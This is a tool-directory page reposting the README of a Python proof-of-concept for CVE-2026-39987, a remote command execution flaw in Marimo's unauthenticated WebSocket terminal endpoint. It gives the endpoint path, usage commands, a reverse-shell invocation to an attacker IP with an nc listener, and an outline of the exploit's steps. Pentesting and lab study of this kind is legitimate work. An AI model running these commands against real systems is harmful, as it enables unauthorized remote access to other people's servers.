Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mfahdk/cve-2026-39987_rce_poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubmfahdk/cve-2026-39987_rce_poc

CVE-2026-39987_RCE_PoC

Python proof-of-concept for CVE-2026-39987, exploiting an unauthenticated WebSocket terminal endpoint to achieve remote command execution and reverse shell access.

View Repository
9h 26m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 — Marimo WebSocket RCE PoC

Proof of Concept for CVE-2026-39987, demonstrating remote command execution through the vulnerable WebSocket terminal endpoint.

Disclaimer: This PoC is intended for authorized security testing and educational use only. Use it only against systems you own or have explicit permission to test.

Description

The vulnerability allows an unauthenticated user to interact with the application's WebSocket terminal endpoint and execute commands remotely.

The PoC connects to:

root@kitploit:~
wss://<target>/terminal/ws

and demonstrates command execution through the WebSocket connection.

The target used while developing/testing this PoC was an authorized Hack The Box lab environment.

Requirements

  • Python 3
  • websocket-client

Install the required library:

root@kitploit:~
pip3 install websocket-client

Usage

root@kitploit:~
python3 test.py <domain>

Example:

root@kitploit:~
python3 test.py somesite.com

The PoC establishes the WebSocket connection and executes a test command.

Reverse Shell

The PoC also supports a reverse-shell option:

root@kitploit:~
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>

Example:

root@kitploit:~
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444

Start the listener before executing the PoC:

root@kitploit:~
nc -lvnp 4444

Technical Details

The application exposes a WebSocket terminal endpoint without requiring authentication.

The PoC:

  1. Establishes a WebSocket connection.
  2. Disables TLS certificate verification because the lab target uses a self-signed certificate.
  3. Consumes the initial terminal prompt.
  4. Sends a command through the WebSocket.
  5. Reads the resulting terminal output.

The initial ws.recv() is important because the server sends the shell prompt immediately after establishing the connection.

Download Tool